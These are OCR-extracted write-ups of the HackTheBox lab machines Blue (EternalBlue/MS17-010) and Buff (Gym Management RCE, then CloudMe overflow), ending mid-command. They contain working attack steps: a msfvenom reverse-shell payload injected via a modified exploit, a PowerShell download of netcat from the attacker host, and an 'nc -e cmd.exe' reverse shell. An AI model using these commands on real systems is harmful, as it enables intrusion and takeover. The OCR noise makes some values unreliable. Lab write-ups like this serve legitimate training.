Categories: oscp, htb, windows
Tags: exploit_smb_msl7_ 010

Overview

This is a writeup for HackTheBox VM Blue. Here are stats for this machine from machinescli:

machinescli -t --info "hackthebox#51"

# ID Name Rating Difficulty 0S 0SCPlike Owned TTPs
1 hackthebox#51 Blue _ HH @ &

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:

[HTB] Blue

110.10.10.40 |
Y
‘ Phase #1: Enumeration ‘

Y Y ¥ h 2 Y Y Y - Y _ Y
445/tcp 49152/tcp‘ ‘49153/tcp‘ ‘49154/tcp‘ ‘49155/tcp‘ ‘49156/tcp‘ ‘49157/tcp‘ 135/tcp | | 139/tcp

¥ Y

auxiliary/scanner/smb/pipe_auditor ‘ auxiliary/scanner/smb/smb_version

: Y

Phase #2: Exploitation

h 3

ms17-010 |

¥

worawit: zzz_exploit.py

Y

meterpreter (ntauth/system)

Y a2
user.txt root.txt

Figure 2: writeup.overview.killchain

TTPs
1. 139/tcp/netbios-ssn/Microsoft Windows netbios-ssn: exploit smb msl7 010


https://www.hackthebox.eu/home/machines/profile/51
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=htb&unscoped_q=htb
https://github.com/7h3rAm/writeups/search?q=windows&unscoped_q=windows
https://github.com/7h3rAm/writeups/search?q=exploit_smb_ms17_010&unscoped_q=exploit_smb_ms17_010
https://www.hackthebox.eu/home/machines/profile/51
https://github.com/7h3rAm/machinescli
https://github.com/7h3rAm/writeups#exploit_smb_ms17_010
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.70 scan initiated Fri Nov 1 17:05:41 2019 as: mmap —-vv —--reason —Pn -sV -sC
» ——version-all —olN

s /root/toolboz/writeups/htb.blue/results/10.10.10.40/scans/_quick_tcp_nmap.tzt -oX
o /root/toolboz/writeups/htb.blue/results/10.10.10.40/scans/zml/_quick_tcp_nmap.zml
- 10.10.10.40

Nmap scan report for 10.10.10.40

Host is up, received user-set (0.15s latency).

Scanned at 2019-11-01 17:05:41 PDT for 171s

Not shown: 991 closed ports

Reason: 991 resets

PORT STATE SERVICE REASON VERSION

135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn

445/tcp open microsoft-ds syn-ack ttl 127 Microsoft Windows 7 - 10 microsoft-ds (workgroup:

< WORKGROUP)

49152/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49153/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49154/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49155/tcp open unknown syn-ack ttl 127

49156/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
49157/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC

Service Info: Host: HARIS-PC; 0S: Windows; CPE: cpe:/o:microsoft:windows

Host script results:

| p2p-conficker:

| Checking for Conficker.C or higher...
|  Check 1 (port 57283/tcp): CLEAN (Couldn't connect)

|  Check 2 (port 12383/tcp): CLEAN (Couldn't connect)

|  Check 3 (port 19006/udp): CLEAN (Timeout)

|  Check 4 (port 60472/udp): CLEAN (Timeout)

|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
| smb2-security-mode:

| 2.10:

| _ Message signing enabled but not required

| _smb2-time: Protocol negotiation failed (SMB2)

Read data files from: /usr/bin/../share/nmap

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap dome at Fri Nov 1 17:08:32 2019 -- 1 IP address (1 host up) scanned in 171.43 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:


https://github.com/Tib3rius/AutoRecon

4~ openports

# Port Protocol Service Scans

1. 135/tcp msrpc ttl 127 Microsoft Windows RPC ./results/10.10.10.40/scans/tcp_135_rpc_nmap.txt
/results/10.10.10.40/scans/enur x.txt

2. 139/tcp netbios-ssn ttl 127 Microsoft Win n

3.

4 49152/tcp  msrpc ttl 127 Microsoft Windows RPC ./results/10.10.10.40/scans/tcp_49152_rpc_nmap.txt
5 49153/tcp  msrpc ttl 127 Microsoft Windows RPC ./results/10.10.10.40/scans/tcp_49153_rpc_nmap.txt
6. 49154/tcp  msrpc ttl 127 Microsoft Windows RPC /results/1 ).10.40/scans/tcp_49154_rpc_nmap. txt
7. 49155/tcp  unknown 1l 127

8. 49156/ tcy msrp ttl 127 Microsoft Windows RPC /results/10.10.10.40/scans/tcp_49156_rpc_nmap. txt
9

Figure 3: writeup.enumeration.steps.2.1

3. We find SMB ports to be open on the target system. We run a Nmap NSE script scan to check if the SMB
service is vulnerable:

nmap -p139,445 --script smb-vuln-* --script-args=unsafe=1 10.10.10.40

root@kali: ~/toolbox/data/writeups/htb.blue # nmap -pl139,445 --script smb-vuln-* --script-args=unsafe=1 10.16.10.48
Starting Nmap 7.70 ( https://nmap.org ) at 2019-11-81 17:13 PDT

Nmap scan report for 10.10.10.40

Host is up (©.057s latency).

PORT STATE SERVICE
139/tcp open netbios-ssn
445/tcp open microsoft-ds

Host script results:

|_smb-vuln-ms10-054: ERROR: Script execution failed (use -d to debug)
| _smb-vuln-ms10-061: NT_STATUS OBJECT NAME_NOT_FOUND

| smb-vuln-msl7-010:

| VULNERABLE:

| Remote Code Execution vulnerability in Microsoft SMBvl servers (msl7-010)

| State: VULNERABLE

| IDs: CVE:CVE-2017-0143

| Risk factor: HIGH

| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (msl7-010).
|

|

|

|

|

I

Disclosure date: 2017-03-14

References:
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-8143
https://technet.microsoft.com/en-us/library/security/msl17-010.aspx
https://blogs.technet.microsoft.com/msrc/2017/085/12/customer-guidance-for-wannacrypt-attacks/

Nmap done: 1 IP address (1 host up) scanned in 16.33 seconds
root@kali: ~/toolbox/data/writeups/htb.blue #

Figure 4: writeup.enumeration.steps.3.1

4. We find that the target system is missing patches from MS17-010 bulletin and as such vulnerable. We can use
the zzz_exploit.py EternalBlue exploit to gain interactive access. But before that we need to determine the target
OS version and the name of an active pipe:

5. We first use Metasploit auxiliary module scanner/smb/smb_version to determine target OS version to be
Windows 7 Professional SP1 (build:7601) (name:HARIS-PC):

msfconsole
use auxiliary/scanner/smb/smb_version
show options
set RHOSTS 10.10.10.40
run


https://docs.microsoft.com/en-us/security-updates/securitybulletins/2017/ms17-010
https://github.com/worawit/MS17-010

= use auxiliary/scanner/smb/smb version

msf
msf auxiliary(scanner/smb/smb_version) > show options

Module options (auxiliary/scanner/smb/smb version):

Name Current Setting Required Description

RHOSTS yes The target address range or CIDR identifier
SMBDomain . no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads

msf auxiliary(scanner/smb/smb_version) > set RHOS5TS 10.10.10.40
RHOSTS == 10.10.10.40
msf auxiliary(scanner/smb/smb_version) > run

10.10.10.40:445 - Host is running Windows 7 Professional SP1 (build:7681) (name:HARIS-PC)
[+*] Scanned 1 of 1 hosts (108% complete)
[#] Auxiliary module execution completed
msf auxiliary(scanner/smb/smb_version) >

Figure 5: writeup.enumeration.steps.5.1

6. Then we use another Metasploit auxiliary module scanner/smb/pipe_auditor to find multiple open
pipes \netlogon, \lsarpc, \samr, \browser, \atsvc, \epmapper, \eventlog, \InitShutdown, \keysvc,
\1lsass, \LSM_API_service, \ntsvcs, \plugplay, \protected_storage, \scerpc, \srvsvc, \trkwks,
\W32TIME_ALT, \wkssvc:

msfconsole
use auxiliary/scanner/smb/pipe_auditor
show options
set RHOSTS 10.10.10.40
run

nsf auxiliary(scanner/smb/pipe_auditor) > show options

Module options (auxiliary/scanner/smb/pipe auditor):

Name Current Setting Required Description

NAMED_PIPES /usr/share/metasploit-framework/data/wordlists/named pipes.txt yes List of named pipes to check

RHOSTS 10.10.10.40 yes The target address range or CIDR identifier
SMBDomain i no The Windows domain to use for authentication
SMBPass no The password for the specified username
SMBUser no The username to authenticate as

THREADS 1 yes The number of concurrent threads

nsf auxiliary(scanner/smb/pipe_auditor) >
nsf auxiliary(scanner/smb/pipe_auditor) >
msf auxiliary(scanner/smb/pipe auditor) > run

10.10.10.40:445 - Pipes: \netlogon, \lsarpc, \samr, \browser, \atsvc, \epmapper, \eventlog, \InitShutdown, \keysvc, \lsass, \LSM API service, \ntsvcs, \plugplay, \protected storage, \scerpc
, \srvsvc, \trkwks, \W32TIME ALT, \wkssvc
[*] Scanned 1 of 1 hosts (160% complete)
[*] Auxiliary module execution completed
msf auxiliary(scanner/smb/pipe auditor) >

Figure 6: writeup.enumeration.steps.6.1

Findings

Open Ports

135/tcp | msrpc | Microsoft Windows RPC

139/tcp | netbios-ssn | Microsoft Windows netbios-ssn

445/tcp | microsoft-ds | Microsoft Windows 7 - 10 microsoft-ds (workgroup: WORKGROUP)
49152/tcp | msrpc | Microsoft Windows RPC

49153/tcp | msrpc | Microsoft Windows RPC

49154/tcp | msrpc | Microsoft Windows RPC



7 49155/tcp | unknown |
s 49156/tcp | msrpc | Microsoft Windows RPC
o 49157/tcp | msrpc | Microsoft Windows RPC
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Phase #2: Exploitation

1. We now need to create a binary payload file. For this exploit, we will use meterpreter as the payload and then
use multi/handler to catch the incoming shell connection. We then slightly tweak the exploit file to first copy the
binary payload on to the target system and execute it:

msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.18 lport=443 -f exe >mtrptr.exe
subl zzz_exploit.py
def smb_pwn(conn, arch):
smbConn = conn.get_smbconnection()
print('creating file c:\\pwned.txt on the target')
tid2 = smbConn.connectTree('C$')
fid2 = smbConn.createFile(tid2, '/pwned.txt')
smbConn.closeFile(tid2, £id2)
smbConn.disconnectTree(tid2)
+ smb_send_file(smbConn, '/root/toolbox/writeups/htb.blue/mtrptr.exe', 'C', '/mtrptr.exe')
+ service_exec(conn, r'cmd /c c:\\mtrptr.exe')
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.14.18
set lport 443
set ExitOnSession false
exploit -j
python zzz_exploit.py 10.10.10.40 netlogon
msfconsole
sessions -i 1
getuid

root@kali: # msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.14.18 lport=443 -f exe >mtrptr.exe
[-1 No platform was selected, choosing Msf::Module::Platform::Windows from the payload

[-]1 No arch selected, selecting arch: x86 from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 341 bytes

Final size of exe file: 73802 bytes

root@kali: #

Figure 7: writeup.exploitation.steps.1.1

smbConn conn

print('creating
tid2 smbConn
fid2

smbConn
smbConn . d

smbConn, '/root/toolb W1 0 C ‘/mtrptr.exe')
{conn, r'cmd /c c:\\mtr

Figure 8: writeup.exploitation.steps.1.2



=
LN
—

auxiliary(scanner/smb/pipe_auditor) > use exploit/multi/handler_
exploit(multi/handler) =
exploit(multi/handler) = show options

El
LN
—h

El
LN
—h

Module options (exploit/multi/handler):

Name Current Setting Required Description
Exploit target:

Id HName

@ Wildcard Target

=
LN
—

exploit(multi/handler) =
exploit(multi/handler) = set payload windows/meterpreterter/reverse tcp
The value specified for payload is not valid.
exploit(multi/handler) =
exploit(multi/handler) = set payload windows/meterpreter/reverse tcp
load == windows/meterpreter/reverse tcp

exploit(multi/handler) =
st exploit(multi/handler) =
mst exploit{multi/handler) > set lhost 10.10.14.18
lhost == 10.10.14.18
msf exploit(multi/handler)
lport == 443
mst exploit{multi/handler) =
msf exploit(multi/handler)
ExitOnSession == false
mst exploit{multi/handler) =
msf exploit(multi/handler) = exploit -j
[#] Exploit running as background job @.

El
LN
—h

=
o
et

El
LN
—h

da
5

|5'E|
—h =z

El
—h

El
—h

W

set lport 443

set ExitOnSession false

W

Started reverse TCP handler on 10.18.14.18:443
exploit({multi/handler) =

= =

*
S

=

Figure 9: writeup.exploitation.steps.1.3



root@kali: ~/toolbox/data/writeups/htb.blue/M517-010 # python zzz exploit.py 10.10.16.46 netlogon
Target 0S: Windows 7 Professional 7601 Service Pack 1
Target is 64 bit

Got frag size: 0x10

GROOM POOL SIZE: ©x5030

BRIDE TRANS SIZE: @xfa@

CONNECTION: e@xfffffag8e0416abab

SESSION: oxfffff8a0024e6220

FLINK: exfffff8a0lcol8048

InParam: Oxfffff8a®@lcelllsc

MID: ©x2207

unexpected alignment, diff: ©0x6048

leak failed... try again

CONNECTION: @xfffffaB800416abad

SESSION: exfffff8a0024e6220

FLINK: exfffff8a0lcoz2bess

InParam: @xfffff8a@lcO®2515c

MID: ©x2303

success controlling groom transaction

modify transl struct for arbitrary read/write

make this SMB session to be SYSTEM

overwriting session security context

creating file c:\pwned.txt on the target

Opening SVCManager on 10.10.10.48.....

Creating service NRtb.....

Starting service NRtb.....

The NETBIOS connection with the remote host timed out.
Removing service NRtb.....

ServiceExec Error on: 10.10.10.40

nca s _proto_error

Done

root@kali: ~/toolbox/data/writeups/htb.blue/M517-010 #

Figure 10: writeup.exploitation.steps.1.4

msf exploit{multi/handler) =
[#] Sending stage (179779 bytes) to 10.10.10.48
[*] Meterpreter session 1 opened (10.10.14.18:443 -> 10.10.10.40:49160) at 2019-11-01 17:38:45 -0700

msf exploit(multi/handler) >
msf exploit(multi/handler) > sessions

Active sessions

Id Name Type Information Connection

meterpreter x86/windows NT AUTHORITY\SYSTEM @ HARIS-PC 1©0.10.14.18:443 -> 10.10.10.40:49160 (10.10.10.40)

o]

exploit(multi/handler) >
exploit(multi/handler) >

st exploit(multi/handler) > sessions -i 1
[*] Starting interaction with 1...

mst
mst

=

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

meterpreter =

Figure 11: writeup.exploitation.steps.1.5

2. We then obtain further information about the system and read the contents of both user.txt and root.txt files
to comeplete the challenge:

sysinfo

cat C:\Users\haris\Desktop\user.txt
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cat C:\Users\haris\Desktop\root.txt

meterpreter = 5y51nf0

Computer : HARIS-PC

0s : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en GB

Domain : WORKGROUP

Logged On Users : @

Meterpreter : x86/windows

meterpreter =

Figure 12: writeup.exploitation.steps.2.1

meterpreter > cat user.txt
4c546aecaldbee75cbd71de245c8desadilSid=ln ] a=14=-1 ==
meterpreter =

Figure 13: writeup.exploitation.steps.2.2

meterpreter = cat root.txt
ff548eb71e920TfocO8843ce9dT4e7 17 RN In=10=1 a=
meterpreter =

Figure 14: writeup.exploitation.steps.2.3

Phase #2.5: Post Exploitation

ntauth/system@HARIS-PC> id
NT AUTHORITY\SYSTEM
ntauth/system@HARIS-PC>
ntauth/system@HARIS -PC> uname

Computer : HARIS-PC

0sS : Windows 7 (Build 7601, Service Pack 1).
Architecture : x64

System Language : en_GB

Domain : WORKGROUP

Logged On Users : O

Meterpreter : x86/windows

ntauth/system@HARIS-PC>

ntauth/system@HARIS-PC> ifconfig

Ethernet adapter Local Area Connection:
Connection-specific DNS Suffix

IPv6 Address. . . . . . . . . : dead:beef::cb530:b184:97a4:£d67

Temporary IPv6 Address . . . . . : dead:beef::4d8e:bdfd:4c8b:3189

Link-local IPv6 Address . . . . . : fe80::c530:b184:97a4:fd67%11

IPv4 Address. . . . . . . . . . . : 10.10.10.40

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:db57%11
10.10.10.2
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ntauth/system@HARIS-PC>
ntauth/system@HARIS-PC> users
Administrator

haris

10



Loot
Flags

C:\Users\haris\Desktop\user.txt: 4cb46aea7dbee75cbd7.............
C:\Users\Administrator\Desktop\root.txt: ff548eb71e920ff6cO..............

References

[+] https://www.hackthebox.eu/home/machines/profile /51
[+] https://medium.com/@sdgeek /hack-the-box-htb-blue-115b3f563125

11


https://www.hackthebox.eu/home/machines/profile/51
https://medium.com/@sdgeek/hack-the-box-htb-blue-115b3f563125

[HackTheBox]| Buff

Date: 22/Jul/2020
Categories: windows, oscp, hackthebox
Tags: enumerate proto_ http, exploit_ gymsystem_ rce, exploit_ cloudme bof

Overview

This is a writeup for HackTheBox VM Buff. Here are stats for this machine from machinescli:

machinescli -t --info "hackthebox#263"

# ID Name Rating Difficulty 0S 0SCPlike Owned TTPs
s b hackthebox#263 Buff _ [ ] -] [ ] &

Figure 1: writeup.overview.machinescli

Killchain

Here’s the killchain (enumeration — exploitation — privilege escalation) for this machine:


https://www.hackthebox.eu/home/machines/profile/263
https://github.com/7h3rAm/writeups/search?q=windows&unscoped_q=windows
https://github.com/7h3rAm/writeups/search?q=oscp&unscoped_q=oscp
https://github.com/7h3rAm/writeups/search?q=hackthebox&unscoped_q=hackthebox
https://github.com/7h3rAm/writeups/search?q=enumerate_proto_http&unscoped_q=enumerate_proto_http
https://github.com/7h3rAm/writeups/search?q=exploit_gymsystem_rce&unscoped_q=exploit_gymsystem_rce
https://github.com/7h3rAm/writeups/search?q=exploit_cloudme_bof&unscoped_q=exploit_cloudme_bof
https://www.hackthebox.eu/home/machines/profile/263
https://github.com/7h3rAm/machinescli

[HTB] Buff

‘19.1@.13.193‘

Y
‘Bﬂaﬂ!tcp‘

Y

.fcontacts.php: Gym Management Software 1.0

edb:48506 - unauth remote code exec

Y

pseudo-interactive shell

¥

netcat (shaun)

¥ Y
user.txt ‘winpeas: services restricted from outside‘

Y

‘12?.9.9.1:8888 - cloudme - 1.11.2‘

Y

plink port forward: -R 8888:127.0.0.1:8888 |

Y

' edb:48389 - cloudme 1.11.2 bof |

. h 4 )
netcat (administrator)

Y

‘ruut.txt‘

Figure 2: Writeupéoverview.killchain



TTPs

1. 8080/tcp/http/Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6): enumerate_proto_http, ex-
ploit__gymsystem_ rce, exploit_ cloudme_ bof


https://github.com/7h3rAm/writeups#enumerate_proto_http
https://github.com/7h3rAm/writeups#exploit_gymsystem_rce
https://github.com/7h3rAm/writeups#exploit_gymsystem_rce
https://github.com/7h3rAm/writeups#exploit_cloudme_bof
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Phase #1: Enumeration
1. Here’s the Nmap scan result:

# Nmap 7.80 scan initiated Wed Jul 22 21:04:22 2020 as: mmap —vv —--reason —Pn -sV -sC
o —-version-all -oN
» /home/kali/toolbox/repos/writeupsall/htb.buff/10.10.10.198/scans/_quick_tcp_nmap.tzt -oX
o /home/kali/toolboz/repos/writeupsall/htb.buff/10.10.10.198/scans/zml/_quick_tcp_nmap.zml
- 10.10.10.198

Nmap scan report for 10.10.10.198

Host is up, received user-set (0.34s latency).

Scanned at 2020-07-22 21:04:36 IST for 101s

Not shown: 999 filtered ports

Reason: 999 no-responses

PORT STATE SERVICE REASON VERSION

8080/tcp open http syn-ack Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)

| http-methods:

|_  Supported Methods: GET HEAD POST OPTIONS

| _http-open-proxy: Proxy might be redirecting requests

| _http-server-header: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.6

| _http-title: mrb3n's Bro Hut

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Jul 22 21:06:17 2020 -- 1 IP address (1 host up) scanned in 114.83 seconds

2. Here’s the summary of open ports and associated AutoRecon scan files:

4~ openports

8 Port Protocol Service Scans

1. 7688/tcp  pando-pub?

Figure 3: writeup.enumeration.steps.2.1

3. We find 8080/tcp to be open and running Apache httpd 2.4.43. We start by looking at the webpage and find
it be hosting a fitness center portal:


https://github.com/Tib3rius/AutoRecon
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Figure 4: writeup.enumeration.steps.3.1

4. We find multiple pages from the gobuster scan results and upon visiting /contacts.php page, we find that we
are interacting with the Gym Management Software 1.0 web application:

cat ./10.10.10.198/scans/tcp_8080_http_gobuster.txt | grep -v 403
/ADMIN (Status: 301) [Size: 343]
/About.php (Status: 200) [Size: 5337]
/Admin (Status: 301) [Size: 343]
/Contact.php (Status: 200) [Size: 4169]
/Home.php (Status: 200) [Size: 143]
/Index.php (Status: 200) [Size: 4969]
/LICENSE (Status: 200) [Size: 18025]
/about.php (Status: 200) [Size: 5337]
/admin (Status: 301) [Size: 343]

/boot (Status: 301) [Size: 342]
/contact.php (Status: 200) [Size: 4169]
/edit.php (Status: 200) [Size: 4282]

/ex (Status: 301) [Size: 340]
/feedback.php (Status: 200) [Size: 4252]
/home.php (Status: 200) [Size: 143]

/img (Status: 301) [Size: 341]

/include (Status: 301) [Size: 345]
/index.php (Status: 200) [Size: 4969]
/index.php (Status: 200) [Size: 4969]
/license (Status: 200) [Size: 18025]
/packages.php (Status: 200) [Size: 7791]
/profile (Status: 301) [Size: 345]
/register.php (Status: 200) [Size: 137]
/up.php (Status: 200) [Size: 209]
/upload (Status: 301) [Size: 344]
/upload.php (Status: 200) [Size: 107]



&« @ @ & 10.10.10.198:2

About Contact

mrb3n’s Bro Hut
Made using ST ERE EENERTECEE

© Projectworlds.in
Figure 5: writeup.enumeration.steps.4.1
Findings

Open Ports
1 8080/tcp  http Apache httpd 2.4.43 ((Win64) OpenSSL/1.1.1g PHP/7.4.6)



Phase #2: Exploitation

1. We use searchsploit to find exploits for the webapp and find an unauthenticated remote code execution
vulnerability. We inspect the exploit and upon executing it, we get a pseudo-interactive shell on the target machine:

python 48506.py http://10.10.10.198:8080/

kaliakali: ~/toolbox/repos/uriteupsall/hth.buff §
kaligkali: ~/toolbox/repos/writeupsall/htb.buff $ ss Gym Management Software 1.0
Exploits: No Results

Shellcodes: No Results

Papers: No Results

kalidkali: ~/toolbox/repos/writeupsall/htb.buff §
kaliakali: ~/toolbox/repos/writeupsall/htb.buff $
kaligkali: ~/toolbox/repos/writeupsall/htb.buff §
Exploits: No Results

Shellcodes: No Results

Papers: No Results

kaligkali: ~/toolbox/repos/writeupsall/htb.buff $
kaliakali: ~/toolbox/repos/writeupsall/htb.buff §
kaliakali: ~/toolbox/repos/writeupsall/htb.buff §
kaliakali: ~/toolbox/repos/writeupsall/htb.buff $

ss Gym Management Software

ss Gym Management

Exploit Title | Path

Gym Management System 1.0 - Unauthenticated Remote Code Execution | php/webapps/48506.py

Shellcodes: No Results
Papers: No Results
kaliakali: ~/toolbox/repos/writeupsall/htb.buff $

Figure 6: writeup.exploitation.steps.1.1

kaligkali: ~/toolbox/repos/writeupsall/htb.buff $
kaligkali: ~/toolbox/repos/writeupsall/htb.buff $ python 48506.py http://10.10.10.198:8080/

A

===B0KU=

[+] Successfully connected to webshell.
ipp\htdocs\gym\upload> whoami

buff\shaun

C:\xampp\htdocs\gym\upload> hostname

€PNG
BUFF

C:\xampp\htdocs\gym\upload> _

Figure 7: writeup.exploitation.steps.1.2

2. To get a fully interactive shell, we use powershell to transfer netcat binary, start a local netcat listener and then
catch the incoming connection:

nc -nlvp 4433

powershell -c "(new-object

» System.Net.WebClient).DownloadFile('http://10.10.14.8:8000/nc.exe','C:\Users\shaun\Desktop
» \nc.exe')"

C:\Users\shaun\Desktop\nc.exe 10.10.14.8 4433 -e cmd.exe

C:\xampp\htdocs\gym\upload> powershell -c "(new-object System.Net.WebClient).DownloadFile( http://10.10.14.8:8000/nc.exe’, 'C:\Users\shaun\Desktop\nc.exe')"
€PNG

C:\xampp\htdocs\gym\upload> C:\Users\shaun\Desktop\nc.exe 10.10.14.8 4433 -e cmd.exe

Figure 8: writeup.exploitation.steps.2.1



kaligkali: ~/toolbox/repos/writeupsall/htb.buff $

kaligkali: ~/toolbox/repos/writeupsall/htb.buff $ nc -nlvp 4433

listening on [any] 4433 ...

connect to [10.10.14.8] from (UNKNOWN) [10.10.10.198] 49782

The system cannot find message text for message number 0x2350@ in the message file for Application.

(c) 2018 Microsoft Corporation. All rights reserved.

C:\xampp\htdocs\gym\upload>whoami
whoami
buff\shaun

C:\xampp\htdocs\gym\upload>hostname
hostname
BUFF

C:\xampp\htdocs\gym\upload>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet@:

Connection-specific DNS Suffix .
IPv6 Address. . . . . . . . . .
Temporary IPvé Address. . . . .
Link-local IPv6 Address . . . .
IPv4 Address. . . . . . . . . .
Subnet Mask . . . . . . . . . .
Default Gateway . . . . . . . .

dead:beef::616c:bed8:4b75:6017
dead:beef::7813:413b:2e52:5901
feB0::616c:bedB:4b75:6e17%10
10.10.10.198

255.255.255.0
feB0::250:56ff:feb9:9eb2%10
10.10.10.2

ae se e ss e se ws

C:\xampp\htdocs\gym\upload>

Figure 9: writeup.exploitation.steps.2.2

3. We use this interactive access to read the user.txt flag:

1 type C:\Users\shaun\Desktop\user.txt
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C:\Users\shaun\Desktop>

C:\Users\shaun\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Ethernet@:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::616c:bed8:4b75:6e17

Temporary IPv6 Address. . . . . . : dead:beef::7813:413b:2e52:5901

Link-local IPv6 Address . . . . . : feB0::616c:bedB8:4b75:6e17%10

IPv4 Address. . . . . . . . . . . : 10.10.10.198

Subnet Mask . . . . . . . . . . . : 255.255.255.0

Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:9eb2%10
10.10.10.2

C:\Users\shaun\Desktop>
C:\Users\shaun\Desktop>type user.txt
type user.txt
ecas2362c958cedbl7ef4f383ca77dc8

C:\Users\shaun\Desktop>

Figure 10: writeup.exploitation.steps.3.1

Phase #2.5: Post Exploitation

buff\shaun@BUFF> id

buff\shaun
buff\shaun@BUFF>

buff\shaun@BUFF> uname

Host Name:

0S Name:

0S Version:

0S Manufacturer:
0S Configuration:
0S Build Type:
buff\shaun@BUFF>

BUFF

Microsoft Windows 10 Enterprise
10.0.17134 N/A Build 17134
Microsoft Corporation
Standalone Workstation
Multiprocessor Free

buff\shaunOBUFF> ifconfig
Windows IP Configuration
Ethernet adapter EthernetO:
Connection-specific DNS Suffix

IPv6 Address.

: dead:beef::616c:bed8:4b75:6e17

Temporary IPv6 Address. . . . . . : dead:beef::7813:413b:2e52:5901
Link-local IPv6 Address . . . . . : fe80::616c:bed8:4b75:6e17/10

IPv4 Address.
Subnet Mask .

: 10.10.10.198
: 2565.255.255.0

Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:9eb2/10

10.10.10.2
buff\shaun@BUFF>
buff\shaun@BUFF> users
Administrator
shaun



Phase #3: Privilege Escalation

1. We use winPEAS. exe to enumerate the target machine and within the services restricted from the outside
section, find an interesting service bound to 127.0.0.1:8888:

1 netstat -anp tcp

Current Listening Ports(T10495T1049

Check for services restricted from the outside
Proto Local Address Foreing Address State
TCP 0.0.0.0:135 Listening
TCP 0.0.0.0:445 Listening
TCP 0.0.0.0:5040 Listening
TCP 0.0.0.0:7680 Listening
TCP 0.0.0.0:8080 Listening
TCP 0.0.0.0:49664 Listening
TCP 0.0.0.0:49665 Listening
TCP 0.0.0.0:49666 Listening
TCP 0.0.0.0:49667 Listening
TCP 0.0.0.0:49668 Listening
TCP 0.0.0.0:49669 Listening
TCP 10.10.10.198:139 Listening
TCP 127.0.0.1:3306 Listening
TCP 127.0.0.1:8888 Listening
TCP [::]1:135 Listening
TCP [::]:445 Listening

Figure 11: writeup.privesc.steps.1.1

2. We find this to be a CloudMe process and there’s a binary named CloudMe_1112.exe within the
C:\Users\shaun\Downloads directory that hints that the version could be 1.11.2:

1 powershell ps

C:\Users\shaun\Downloads>dir

dir

The system cannot find message text for message number 0x235e in the message file for Application.
The system cannot find message text for message number 0x235b in the message file for Application.

DNS bad key.
14/07/2020 13:27 The system cannot find message text for message number 0x2373 in the message file for Application.

14/07/2020 13:27 The system cannot find message text for message number 0x2373 in the message file for Application.

16/06/2020 16:26 17,830,824 [WETGIEEEREPINCY
The system cannot find message text for message number ©x2378 in the message file for Application.
The system cannot find message text for message number ©x2379 in the message file for Application.

C:\Users‘\shaun\Downloads>

Figure 12: writeup.privesc.steps.2.1

Handles NPM(K) PM(K) Ws(K) CPU(s) Id SI ProcessName
430 24 19472 9252 6628 1 ApplicationFrameHost
161 10 1928 2268 7156 1 browser_broker
341 24 30416 37492 6528 @ CloudMe
79 6 3672 1836 0.17 64 @ cmd
47 4 1948 280 0.00 768 @ cmd

Figure 13: writeup.privesc.steps.2.2

3. We find a buffer overflow exploit for this application that could give us elevated privileges if the CloudMe process
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is running as Administrator:

searchsploit cloudme

kaligkali: ~/toolbox/repos/writeupsall/htb.buff §
kaligkali: ~/toolbox/repos/writeupsall/htb.buff $ ss cloudme

Exploit Title | Path

CloudMe 1.11.2 - Buffer Overflow (PoC) windows/remote/48389.py
CloudMe 1.11.2 - Buffer Overflow (SEH_DEP_ASLR) windows/local/48499. txt
Cloudme 1.9 - Buffer Overflow (DEP) (Metasploit) windows_x86-64/remote/45197.rb
CloudMe Sync 1.10.9 - Buffer Overflow (SEH)(DEP Bypass) windows_x86-64/local/45159. py
CloudMe Sync 1.10.9 - Stack-Based Buffer Overflow (Metasploit) windows/remote/44175.rb
Cloudie Sync < 1.11.0 - Buffer Overflow (SEH) (DEP Bypass) windows_x86-64/remote/44784.py
CloudMe Sync < 1.11.0 - Buffer Overflow windows/remote/44027.py
Cloudie Sync 1.11.0 - Local Buffer Overflow windows/local/44470.py
CloudMe Sync 1.11.2 - Buffer Overflow + Egghunt windows/remote/46218.py
Cloudie Sync 1.11.2 Buffer Overflow - WoW64 (DEP Bypass) windows_x86-64/remote/46250. py

Shellcodes: No Results
Papers: No Results
kalidkali: ~/toolbox/repos/writeupsall/htb.buff §

Figure 14: writeup.privesc.steps.3.1

4. But we cannot connect to this service from our attacking machine. We will need to setup a port forward for this
exploit to work. We start the SSH service on our attacking machine, transfer the plink.exe binary and setup the
port forward:

service ssh restart
service ssh status
powershell -c "(new-object
o System.Net.WebClient) .DownloadFile('http://10.10.14.8:8000/plink64.exe','C:\Users\shaun\Desktop\plink.
